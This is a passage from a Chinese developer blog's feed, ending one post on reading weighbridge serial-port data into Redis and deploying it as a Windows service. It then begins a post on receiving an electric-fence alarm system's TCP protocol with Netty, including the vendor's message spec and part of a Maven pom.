lombok.extern.slf4j.Slf4j;  </span><br><span class="line"><span class="keyword">import</span> org.springframework.data.redis.core.RedisTemplate;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">import</span> java.time.LocalDateTime;  </span><br><span class="line"><span class="keyword">import</span> java.time.format.DateTimeFormatter;  </span><br><span class="line"><span class="keyword">import</span> java.util.concurrent.Executors;  </span><br><span class="line"><span class="keyword">import</span> java.util.concurrent.ScheduledExecutorService;  </span><br><span class="line"><span class="keyword">import</span> java.util.concurrent.TimeUnit;  </span><br><span class="line">  </span><br><span class="line"><span class="meta">@Slf4j</span>  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SerialPortListener</span> <span class="keyword">implements</span> <span class="title class_">Runnable</span> &#123;  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> SerialPort serialPort;  </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> String portName;  </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> RedisTemplate&lt;String, Object&gt; redisTemplate;  </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">ScheduledExecutorService</span> <span class="variable">scheduler</span> <span class="operator">=</span> Executors.newScheduledThreadPool(<span class="number">1</span>);  </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> String redisKey;  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">SerialPortListener</span><span class="params">(SerialPort serialPort, String portName, RedisTemplate&lt;String, Object&gt; redisTemplate, String redisKey)</span> &#123;  </span><br><span class="line">        <span class="built_in">this</span>.serialPort = serialPort;  </span><br><span class="line">        <span class="built_in">this</span>.portName = portName;  </span><br><span class="line">        <span class="built_in">this</span>.redisTemplate = redisTemplate;  </span><br><span class="line">        <span class="built_in">this</span>.redisKey = redisKey;  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@Override</span>  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">run</span><span class="params">()</span> &#123;  </span><br><span class="line">        scheduler.scheduleAtFixedRate(<span class="built_in">this</span>::readFromPort, <span class="number">0</span>, <span class="number">100</span>, TimeUnit.MILLISECONDS);  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">readFromPort</span><span class="params">()</span> &#123;  </span><br><span class="line">        <span class="keyword">try</span> &#123;  </span><br><span class="line">            <span class="keyword">if</span> (serialPort.bytesAvailable() &gt; <span class="number">0</span>) &#123;  </span><br><span class="line">                <span class="type">byte</span>[] readBuffer = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">12</span>]; <span class="comment">// 根据实际数据长度调整缓冲区大小  </span></span><br><span class="line">                <span class="type">int</span> <span class="variable">numRead</span> <span class="operator">=</span> serialPort.readBytes(readBuffer, readBuffer.length);  </span><br><span class="line">                <span class="keyword">if</span> (numRead &gt; <span class="number">0</span>) &#123;  </span><br><span class="line">                    <span class="type">String</span> <span class="variable">result</span> <span class="operator">=</span> SerialPortUtil.parseWeightData(readBuffer);  </span><br><span class="line">                    log.info(<span class="string">&quot;&#123;&#125;读取到串口&#123;&#125;的数据为:&#123;&#125;&quot;</span>, LocalDateTime.now().format(DateTimeFormatter.ofPattern(CommonConstants.DATETIME_PATTERN)), portName, result);  </span><br><span class="line">                    <span class="comment">// 存入Redis  </span></span><br><span class="line">                    redisTemplate.opsForValue().set(redisKey, result);  </span><br><span class="line">                &#125;  </span><br><span class="line">            &#125;  </span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;  </span><br><span class="line">            log.error(<span class="string">&quot;Error reading from serial port&quot;</span>, e);  </span><br><span class="line">        &#125;  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">// 停止监听器的方法  </span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">stop</span><span class="params">()</span> &#123;  </span><br><span class="line">        scheduler.shutdown();  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="其他相关说明">其他相关说明</h3><p>因为本来根据业务需求，指令应答方式的形式获取数据肯定是够了，所以一开始就偷了个懒没做连续发送方式的解析代码。但是老师傅在现场一句指令应答做不了给断送了。。。。只能使用连续发送的方式来获取数据，也就是项目中后续加了启动线程监听相关代码的原因。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/1a1daafe150aa3b2726746f69a06cf9a.png" alt="image.png"></p><h3 id="接口说明">接口说明</h3><p>本项目目的是给其他服务提供地磅最新数据，所以加了接口供其他服务调用。接口文档路径为<code>&#123;ip&#125;:&#123;port&#125;/dic.html</code>,本项目默认设置端口为<code>7878</code><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/bf1df4fb8a788f03220bfeb45ed39544.png" alt=""></p><h4 id="连续发送方式">连续发送方式</h4><p>顾名思义项目启动后会一直接收串口数据，本项目中考虑到连续发送间隔时间太短，一是无意义数据较多，二是cpu负荷较大，所以额外起了线程，每100毫秒接收并解析一次，根据自己需要设置。<br>调整方式为修改<code>SerialPortListener</code>类中的<code>scheduler.scheduleAtFixedRate(this::readFromPort, 0, 100, TimeUnit.MILLISECONDS);</code>period即可，现在设置的时<code>100</code>,单位为毫秒<br>获取该数据有两种方式：</p><ul><li>一种是获取缓存到redis中的<code>pc:weight:*</code>,这个<code>*</code>代表的是不同地磅缓存的数据，具体定义见application.yml的active和<code>SerialPortConfig</code>的<code>getPortMappings</code>方法获取的rediskey值</li><li>第二种是通过接口，<code>/weight</code>，这个接口是获取最新的一次称重数据，如果没有称重数据则返回<code>null</code>，参数需要传指定的串口名称，比如我当前项目两个串口分别为<code>COM3</code>,<code>COM4</code>一个进的地磅一个出的地磅</li></ul><h4 id="指令应答方式">指令应答方式</h4><p>根据指令获取具体数据<br>只能通过接口获取<br>接口: <code>/scale</code><br>传的参数有</p><ul><li><code>address</code>地址，从A~Z</li><li><code>operationCode</code>操作方式，A握手,B读毛重,C读皮重,D读净重</li><li><code>portName</code>串口，比如当前项目的两个串口<code>COM3</code>,<code>COM4</code>,其他项目可能是<code>COM1</code>,<code>COM2</code>之类的。</li></ul><h3 id="项目运行效果">项目运行效果</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/4330f270f20a8427864073a6886a82a2.png" alt=""></p><h2 id="部署">部署</h2><p>考虑到是在windows中运行， 万一主机关机啥的得弄个开机自启，所以使用的是<code>Windows Service Wrapper </code>这个工具</p><h3 id="下载地址">下载地址</h3><p><a href="http://repo.jenkins-ci.org/releases/com/sun/winsw/winsw">http://repo.jenkins-ci.org/releases/com/sun/winsw/winsw</a></p><h3 id="使用方式">使用方式</h3><p>将下载下来的exe名称修改为jar包相同的名称</p><p>然后新增一个和jar相同名称的xml，内置内容如下：</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">service</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">id</span>&gt;</span>weight-scale<span class="tag">&lt;/<span class="name">id</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">name</span>&gt;</span>Weight Scale Service<span class="tag">&lt;/<span class="name">name</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">description</span>&gt;</span>卡口进出地磅称重数据<span class="tag">&lt;/<span class="name">description</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">executable</span>&gt;</span>java<span class="tag">&lt;/<span class="name">executable</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">arguments</span>&gt;</span>-jar &quot;D:\weight-scale\weight-scale-0.0.1.jar&quot;<span class="tag">&lt;/<span class="name">arguments</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">logmode</span>&gt;</span>none<span class="tag">&lt;/<span class="name">logmode</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">startmode</span>&gt;</span>Automatic<span class="tag">&lt;/<span class="name">startmode</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">stoptimeout</span>&gt;</span>30sec<span class="tag">&lt;/<span class="name">stoptimeout</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">service</span>&gt;</span></span><br></pre></td></tr></table></figure><p>需要注意其中的logmod我这边设置的是<code>none</code>,因为内置了logback，有对应的日志文件在logs中所以不需要额外的logmod。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/398d8feaeb6ef991cfda80b6cb946b10.png" alt="image-20240702112931433"></p><h3 id="注册jar为系统服务并启动">注册jar为系统服务并启动</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 注册系统服务</span></span><br><span class="line">./weight-scale-0.0.1.exe install</span><br><span class="line"><span class="comment"># 启动服务</span></span><br><span class="line">./weight-scale-0.0.1.exe start</span><br><span class="line"><span class="comment"># 停止服务</span></span><br><span class="line">./weight-scale-0.0.1.exe stop</span><br><span class="line"><span class="comment"># 注销系统服务</span></span><br><span class="line">./weight-scale-0.0.1.exe uninstall</span><br></pre></td></tr></table></figure><h2 id="最后附上项目源码">最后附上项目源码</h2><p>如果对你有帮助，给个star哦😘<br><a href="https://github.com/chenqi92/weight-scale.git">https://github.com/chenqi92/weight-scale.git</a></p>]]></content>
    
    
    <summary type="html">串口数据读取</summary>
    
    
    
    <category term="java" scheme="https://blog.allbs.cn/categories/java/"/>
    
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
  </entry>
  
  <entry>
    <title>对接了一个园区的电子围网，全流程如下，其他TCP协议可以参考</title>
    <link href="https://blog.allbs.cn/posts/60327/"/>
    <id>https://blog.allbs.cn/posts/60327/</id>
    <published>2024-06-27T07:09:00.000Z</published>
    <updated>2025-11-28T06:48:01.054Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>[!前言]<br>本项目采用spring boot框架，使用netty做网络应用程序框架。下面做全流程分析。项目源码地址:<code>https://github.com/chenqi92/pc-electric-fence.git</code></p></blockquote><h2 id="报文协议">报文协议</h2><p>这个应该是厂商自家定义的报文协议，发过来就是一个txt，协议原文内容如下😂</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br></pre></td><td class="code"><pre><span class="line">一、通讯方式</span><br><span class="line">  1. 串口方式: 波特率为9600bps,采用8-N-1格式</span><br><span class="line">  2. 网络方式: PC端做TCP服务器，默认监听端口5000</span><br><span class="line"></span><br><span class="line">二、数据包格式</span><br><span class="line">  所有数据都以回车符为结束符，数据内容以空格分隔，所有数据都是有应答。</span><br><span class="line">  </span><br><span class="line">1. 应答（布撤防才会有成功和失败之说，其他的指令都回A 1）</span><br><span class="line">  内容: A 结果</span><br><span class="line">  结果: 0: 失败; 1: 成功 2: 执行成功</span><br><span class="line">注：每条指令都需要回复A 1，并以回车键结束。</span><br><span class="line">2. 心跳</span><br><span class="line">  内容: H 设备编号 通讯方式 设备类型 </span><br><span class="line">  设备编号: 为报警主机编号</span><br><span class="line">  通讯方式: 0: 串口/网络; 2: GPRS</span><br><span class="line">  设备类型: 0: 接警机; 1: 主机</span><br><span class="line">  设备类型为非接警机时，设备跟PC连接建立后，立刻发送心跳包。</span><br><span class="line">  心跳间隔默认为10秒。</span><br><span class="line">举例：</span><br><span class="line">  主机编号为0时：H 0 0 1</span><br><span class="line">  主机编号为1时：H 1 0 1</span><br><span class="line">3. 事件上传</span><br><span class="line">  内容: E 主机编号 防区编号 事件代码 子系统号 月-日-时-分    </span><br><span class="line">  主机编号: 接警机上报时，为接警机编号-通讯机编号-终端设备编号；主机上传时为用户编号。</span><br><span class="line">  防区编号: 为0时，为非防区事件。</span><br><span class="line"></span><br><span class="line">总线主机  事件代码参考如下:</span><br><span class="line"></span><br><span class="line">      0:  防区布防事件</span><br><span class="line">      1:  防区撤防事件</span><br><span class="line">      2:  防区报警事件</span><br><span class="line">      3:  防区报警恢复事件</span><br><span class="line">      4:  设备被撬事件</span><br><span class="line">      5:  设备被撬恢复事件</span><br><span class="line">      6:  设备欠压事件</span><br><span class="line">      7:  设备欠压恢复事件</span><br><span class="line">      8:  设备连接故障事件</span><br><span class="line">      9:  设备连接恢复事件</span><br><span class="line">      10: 设备布防</span><br><span class="line">      11: 设备撤防</span><br><span class="line">      12: 设备挟持</span><br><span class="line">      13: 通讯机连接故障事件</span><br><span class="line">      14: 通讯机连接恢复事件</span><br><span class="line">      15: 防区旁路事件</span><br><span class="line">      16: 防区旁路恢复事件</span><br><span class="line">2013.11.23</span><br><span class="line">      17: 设备紧急事件</span><br><span class="line">      18: 设备紧急恢复事件</span><br><span class="line">      19: 设备火警事件</span><br><span class="line">      20: 设备火警恢复事件</span><br><span class="line">      21: 防区布防状态</span><br><span class="line">      22: 防区撤防状态</span><br><span class="line">      23: 防区未准备</span><br><span class="line">      24: 防区未准备恢复</span><br><span class="line">      25：留守布防</span><br><span class="line">      26: 防区故障</span><br><span class="line">      27:防区故障恢复</span><br><span class="line">      28: 电话线故障</span><br><span class="line">      29: 电话线故障恢复</span><br><span class="line">      30: 电池故障</span><br><span class="line">      31: 电池恢复</span><br><span class="line">      32: 交流故障</span><br><span class="line">      33: 交流恢复</span><br><span class="line">      34: 围栏断线报警</span><br><span class="line">      35：围栏短路报警</span><br><span class="line">      36: 围栏电压子系统号：为围栏的电压值 （KV）  </span><br><span class="line">      37：触网报警</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">围栏电压例子</span><br><span class="line">  E 0001 1 36 50//1号主机的1号围栏 电压为5.0KV</span><br><span class="line">      </span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">  子系统号：可选字节，当主机有子系统时，带上子系统；没有时，不用带。</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">  E 6130-0-1 4 2 0 11-7-13-2 表示6130主机1号模块4防区在11月7号13点2分 </span><br><span class="line">发生报警了</span><br><span class="line"></span><br><span class="line">  主机编号: 接警机上报时，为接警机编号-通讯机编号-终端设备编号；</span><br><span class="line">   6130-0-1  : 接警机是6130,即总线主机的系统地址, </span><br><span class="line">              通讯机编号是0: 表示通讯口1或2的设备,  通讯机编号是1: 表示键盘总线的设备, </span><br><span class="line">     终端设备编号: 当通讯机编号为0时, 终端设备编号 0-64, 其中0表示主机主板防区, 1-64表示扩展的1-64号设备</span><br><span class="line">             当通讯机编程为1时,表示键盘设备, 128-160 ,128表示主键盘, 129-160表示1-31号分键盘</span><br><span class="line"></span><br><span class="line">     4:表示防区4</span><br><span class="line">     2: 表示防区报警事件  (具体请参考 总线主机  事件代码)</span><br><span class="line">     0: 子系统号 固定为0</span><br><span class="line">     11-7-13-2: 11月7号13点2分</span><br><span class="line"></span><br><span class="line"> E 6130-1-128 0 11 0 11-7-13-3    表示 6130号主机的128号键盘(即主键盘)撤防操作在11月7号13点3分 </span><br><span class="line"></span><br><span class="line"></span><br><span class="line">4. 主机控制</span><br><span class="line">  内容: C 主机编号 防区编号 控制类型 密码</span><br><span class="line">  防区编号: 为0时是设备控制，否则是防区控制</span><br><span class="line">  控制类型: 0: 撤防 1: 布防 2: 旁路 3: 解除旁路 4：留守布防  5：高压布防  6：低压布防</span><br><span class="line"></span><br><span class="line">  例如:主机编号为6130 ,  </span><br><span class="line">C 6130-1-128 0 0 123456    表示 控制6130号主机的128号键盘(即主键盘)撤防</span><br><span class="line">C 6130-1-128 0 1 123456    表示 控制6130号主机的128号键盘(即主键盘)布防</span><br><span class="line"></span><br><span class="line">C 6130-0-1 0 1 123456    表示 控制6130号主机的1号设备布防</span><br><span class="line">C 6130-0-1 1 1 123456    表示 控制6130号主机的1号设备防区1 布防</span><br><span class="line"></span><br><span class="line">C 6130-0-1 0 0 123456    表示 控制6130号主机的1号设备撤防</span><br><span class="line">C 6130-0-1 1 0 123456    表示 控制6130号主机的1号设备防区1 撤防</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">5. 输出点控制</span><br><span class="line">  内容: O 主机编号 输出点类型 输出点号 控制类型 控制时间</span><br><span class="line">  输出点类型: 0: 输出点 1: 灯   2: LED</span><br><span class="line">  控制类型: 0:断开  1:闭合</span><br><span class="line"></span><br><span class="line">O 6130-0-1 0 1 1 10    表示 控制6130号主机的1号设备的1号输出闭合10秒</span><br><span class="line">O 6130-0-1 0 1 0 0      表示 控制6130号主机的1号设备的1号输出断开</span><br></pre></td></tr></table></figure><h2 id="协议接收考虑">协议接收考虑</h2><p>对方给了一个现场如下配置<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/5f7c56bb742ed7fe859cd55cf4bb4965.png" alt="image.png"></p><p>因为不可预知对方的主机类型，从报文来看最好的方式肯定是做一个TCP服务端来接收数据，让对方配合修改客户端的发送地址即可。</p><h2 id="开发一个服务端">开发一个服务端</h2><h3 id="开发准备">开发准备</h3><p>因为服务器装的jdk1.8所有spring boot也不能选择3.0+，使用的maven作为依赖管理，pom内容如下</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">project</span> <span class="attr">xmlns</span>=<span class="string">&quot;http://maven.apache.org/POM/4.0.0&quot;</span> <span class="attr">xmlns:xsi</span>=<span class="string">&quot;http://www.w3.org/2001/XMLSchema-instance&quot;</span></span></span><br><span class="line"><span class="tag">         <span class="attr">xsi:schemaLocation</span>=<span class="string">&quot;http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">modelVersion</span>&gt;</span>4.0.0<span class="tag">&lt;/<span class="name">modelVersion</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.lyc<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>pc-electric-fence<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>0.0.1<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">name</span>&gt;</span>pc-electric-fence<span class="tag">&lt;/<span class="name">name</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">description</span>&gt;</span>电子围网报警数据接收<span class="tag">&lt;/<span class="name">description</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">url</span>/&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">licenses</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">license</span>/&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">licenses</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">developers</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">developer</span>/&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">developers</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">scm</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">connection</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">developerConnection</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">tag</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">url</span>/&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">scm</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">properties</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">java.version</span>&gt;</span>8<span class="tag">&lt;/<span class="name">java.version</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">influx.version</span>&gt;</span>2.24<span class="tag">&lt;/<span class="name">influx.version</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">allbs-influx.version</span>&gt;</span>2.0.2<span class="tag">&lt;/<span class="name">allbs-influx.version</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">netty.version</span>&gt;</span>4.1.111.Final<span class="tag">&lt;/<span class="name">netty.version</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">spring-boot.version</span>&gt;</span>2.7.18<span class="tag">&lt;/<span class="name">spring-boot.version</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">maven.compiler.source</span>&gt;</span>1.8<span class="tag">&lt;/<span class="name">maven.compiler.source</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">maven.compiler.target</span>&gt;</span>1.8<span class="tag">&lt;/<span class="name">maven.compiler.target</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">maven.compiler.version</span>&gt;</span>3.8.1<span class="tag">&lt;/<span class="name">maven.compiler.version</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">properties</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">dependencies</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"></span><br><span class="line">        <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.projectlombok<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>lombok<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">optional</span>&gt;</span>true<span class="tag">&lt;/<span class="name">optional</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-test<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">scope</span>&gt;</span>test<span class="tag">&lt;/<span class="name">scope</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span 